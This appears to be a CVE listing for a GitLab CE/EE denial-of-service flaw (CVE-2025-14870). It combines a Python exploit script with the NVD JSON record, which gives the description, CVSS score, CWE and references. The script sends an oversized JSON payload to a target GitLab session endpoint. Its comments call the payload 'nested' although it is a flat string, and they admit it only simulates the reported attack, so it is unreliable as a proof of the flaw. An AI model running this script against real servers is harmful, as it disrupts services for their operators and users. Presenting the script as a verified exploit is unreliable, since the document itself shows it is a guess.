CVE-2025-14870

import requests import json # Exploit Title: GitLab CE/EE DoS via Crafted JSON # Date: 2026-05-14 # Exploit Author: Analyst target_url = "http://target-gitlab-instance.com/api/v4/session" # Generate a large nested JSON payload to trigger resource exhaustion # This simulates the "specially crafted JSON payloads" mentioned in the description data = {"key": "A" * 10000000} headers = { "Content-Type": "application/json" } try: print("Sending malicious payload...") response = requests.post(target_url, data=json.dumps(data), headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Potential DoS triggered or connection lost: {e}")

{"cve": {"id": "CVE-2025-14870", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:20.887", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.5 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an unauthenticated user to cause denial of service by sending specially crafted JSON payloads due to insufficient input validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/584490", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3446641", "source": "[email protected]"}]}}